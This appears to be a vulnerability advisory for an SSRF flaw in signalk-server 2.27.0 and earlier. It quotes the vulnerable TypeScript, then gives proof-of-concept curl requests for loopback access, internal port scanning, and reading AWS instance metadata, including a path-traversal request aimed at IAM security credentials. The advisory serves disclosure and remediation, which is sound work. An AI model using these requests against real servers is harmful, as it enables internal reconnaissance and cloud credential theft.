CVE-2026-55591MEDIUM5.8
### Summary
signalk-server versions up to and including 2.27.0 contain a Server-Side Request Forgery (SSRF) vulnerability in three administrative endpoints used for remote Signal K server connection management. The `makeRemoteRequest()` function accepts attacker-controlled `host`, `port`, `useTLS`, and `selfsignedcert` parameters without any validation, allowing an attacker to force the server to make arbitrary HTTP/HTTPS requests to internal network resources, cloud metadata services, and other unintended destinations.
When security is not configured (the default state), these endpoints require **no authentication**.
### Details
#### Vulnerable Function
The core vulnerability is in `makeRemoteRequest()` at `src/serverroutes.ts:2483-2524`:
```typescript
function makeRemoteRequest(
host: string,
port: number,
useTLS: boolean,
selfsignedcert: boolean,
path: string,
method?: string,
headers?: Record<string, string>,
body?: unknown
): Promise<{ status: number | undefined; data: string }> {
const protocol = useTLS ? https : http
return new Promise((resolve, reject) => {
const options = {
hostname: host, // NO VALIDATION - attacker controlled
port, // NO VALIDATION - attacker controlled
path,
method: method || 'GET',
headers: {
...(headers || {}),
...(body ? { 'Content-Type': 'application/json' } : {})
},
rejectUnauthorized: !selfsignedcert // Attacker can disable TLS verification
}
const req = protocol.request(options, (response) => {
let data = ''
response.on('data', (chunk: string) => {
data += chunk
})
response.on('end', () => {
resolve({ status: response.statusCode, data })
})
})
req.on('error', reject)
req.setTimeout(10000, () => {
req.destroy(new Error('Connection timed out'))
})
if (body) {
req.write(JSON.stringify(body))
}
req.end()
})
}
```
#### Missing Validation
The function performs **zero validation** on the destination host. The following address ranges are all reachable:
- **Loopback**: `127.0.0.1`, `::1`, `localhost`
- **RFC 1918 private ranges**: `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`
- **Link-local / Cloud metadata**: `169.254.169.254` (AWS EC2 instance metadata, GCP, Azure IMDS)
- **IPv6 link-local**: `fe80::/10`
- **Any arbitrary external host**: enabling the server as an open proxy
#### Authentication Bypass via Default Configuration
The endpoints are protected by `addAdminMiddleware()` (lines 2339-2345):
```typescript
app.securityStrategy.addAdminMiddleware(`${SERVERROUTESPREFIX}/testSignalKConnection`)
app.securityStrategy.addAdminMiddleware(`${SERVERROUTESPREFIX}/requestAccess`)
app.securityStrategy.addAdminMiddleware(`${SERVERROUTESPREFIX}/checkAccessRequest`)
```
However, when security is not configured, the server uses `dummysecurity.ts`, where `addAdminMiddleware` is a **no-op**:
```typescript
addAdminMiddleware: () => {},
```
This means on a default installation with no admin user created, **all three endpoints are accessible without any authentication**.
#### Additional Attack Surface: TLS Verification Bypass
The `selfsignedcert` parameter directly controls `rejectUnauthorized`:
```typescript
rejectUnauthorized: !selfsignedcert
```
When an attacker sets `selfsignedcert: true`, the server will connect to any HTTPS endpoint without verifying the TLS certificate, enabling MITM attacks on the outbound connection.
#### Additional Attack Surface: Path Traversal in checkAccessRequest
The `checkAccessRequest` endpoint interpolates `requestId` directly into the URL path:
```typescript
`/signalk/v1/requests/${requestId}`
```
An attacker can use path traversal (e.g., `requestId: "../../other/endpoint"`) to target arbitrary paths on the destination host.
### PoC
#### Target Setup
Set up a bare-metal signalk-server for testing (or use Docker to simulate):
```bash
docker run -d --name signalk-ssrf-poc -p 3000:3000 node:22-bookworm \
bash -c 'npm install -g signalk-server@2.27.0 && signalk-server'
# Wait for startup
until curl -s http://127.0.0.1:3000/skServer/loginStatus 2>/dev/null | grep -q "status"; do sleep 10; done
```
Set the target variable:
```bash
TARGET=http://127.0.0.1:3000
```
Confirm `"authenticationRequired":false` in the loginStatus response before proceeding.
#### PoC 1: Loopback Connection (Self-Discovery)
```bash
curl -s -X POST $TARGET/skServer/testSignalKConnection \
-H "Content-Type: application/json" \
-d '{"host":"127.0.0.1","port":3000,"useTLS":false,"selfsignedcert":false}'
```
**Response** (confirms SSRF, the server connected to itself):
```json
{
"success": true,
"authenticated": false,
"server": {
"id": "signalk-server-node",
"version": "2.27.0"
}
}
```
#### PoC 2: Port Scanning via Error Differentiation
```bash
# Open port (3000) — returns server data
curl -s -X POST $TARGET/skServer/testSignalKConnection \
-H "Content-Type: application/json" \
-d '{"host":"127.0.0.1","port":3000,"useTLS":false,"selfsignedcert":false}'
# Response: {"success":true,"server":{"id":"signalk-server-node","version":"2.27.0"}}
# Closed port (9999) — immediate ECONNREFUSED
curl -s -X POST $TARGET/skServer/testSignalKConnection \
-H "Content-Type: application/json" \
-d '{"host":"127.0.0.1","port":9999,"useTLS":false,"selfsignedcert":false}'
# Response: {"success":false,"error":"connect ECONNREFUSED 127.0.0.1:9999"}
# Filtered port — 10-second timeout then error
curl -s -X POST $TARGET/skServer/testSignalKConnection \
-H "Content-Type: application/json" \
-d '{"host":"10.0.0.1","port":22,"useTLS":false,"selfsignedcert":false}'
# Response (after 10s): {"success":false,"error":"Connection timed out"}
```
The three distinct error responses allow an attacker to map internal network topology.
#### PoC 3: AWS Instance Metadata Service (IMDSv1)
On a cloud-hosted signalk-server (AWS EC2):
```bash
curl -s -X POST $TARGET/skServer/testSignalKConnection \
-H "Content-Type: application/json" \
-d '{"host":"169.254.169.254","port":80,"useTLS":false,"selfsignedcert":false}'
```
The server connects to the EC2 metadata endpoint. The response will contain the discovery JSON parse result, leaking metadata. For deeper paths, use `checkAccessRequest` with path traversal in `requestId`:
```bash
curl -s -X POST $TARGET/skServer/checkAccessRequest \
-H "Content-Type: application/json" \
-d '{"host":"169.254.169.254","port":80,"useTLS":false,"selfsignedcert":false,"requestId":"../../latest/meta-data/iam/security-credentials/ROLE_NAME"}'
```
### Impact
1. **Internal Network Scanning**: An attacker can probe internal hosts and ports. The response distinguishes between open ports (HTTP response returned), closed ports (connection refused error), and filtered ports (timeout after 10 seconds).
2. **Cloud Metadata Exfiltration**: On cloud-hosted instances (AWS EC2, GCP, Azure), an attacker can reach the instance metadata service at `169.254.169.254` to steal IAM credentials, instance identity tokens, and other sensitive metadata.
3. **Internal Service Data Exfiltration**: The `testSignalKConnection` endpoint returns the full response body from the target, allowing reading of data from internal HTTP services not otherwise accessible from the internet.
4. **Server-Side POST Requests**: The `requestAccess` endpoint sends a POST request with attacker-controlled JSON body (`clientId`, `description`), enabling interaction with internal APIs that accept POST requests.
5. **Lateral Movement**: In containerized or Kubernetes environments, the server can be used to access cluster-internal services, the Kubernetes API, or other containers on the Docker network.